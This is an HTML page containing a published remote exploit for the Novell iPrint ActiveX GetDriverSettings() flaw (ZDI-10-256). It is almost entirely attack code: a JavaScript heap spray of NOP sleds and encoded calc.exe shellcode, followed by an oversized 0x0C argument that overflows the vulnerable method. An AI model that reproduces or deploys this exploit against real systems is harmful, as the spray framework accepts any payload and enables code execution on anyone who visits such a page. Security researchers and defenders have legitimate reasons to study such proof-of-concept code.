<!-- Novell iPrint <= 5.52 ActiveX GetDriverSettings() Remote Exploit (ZDI-10-256) Coded By: Dr_IDE Reference: http://www.zerodayinitiative.com/advisories/ZDI-10-256/ Reference: http://www.vupen.com/english/advisories/2010/3023 Tested On: Windows XP SP3 --> <html> <object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/></object> <script > // Calc.exe shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u9090%u9090'); headersize =20; slackspace= headersize + shellcode.length; while(nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; ret=''; for( counter=0; counter<=250; counter++) ret+=unescape("%0C%0C%0C%0C");
arg1 = 'printer'; arg2 = 'realm'; arg3 = 'user'; arg4 = 'pass';
//The code is interesting here, there are two different calls but they both actually //hit the same code within the app. GetDriverSettings2() is triggered internally by both calls. target.GetDriverSettings(ret,arg2,arg3,arg4); //target.GetDriverSettings2(ret,arg2,arg3,arg4); </script> </html>
#http://pocoftheday.blogspot.com
|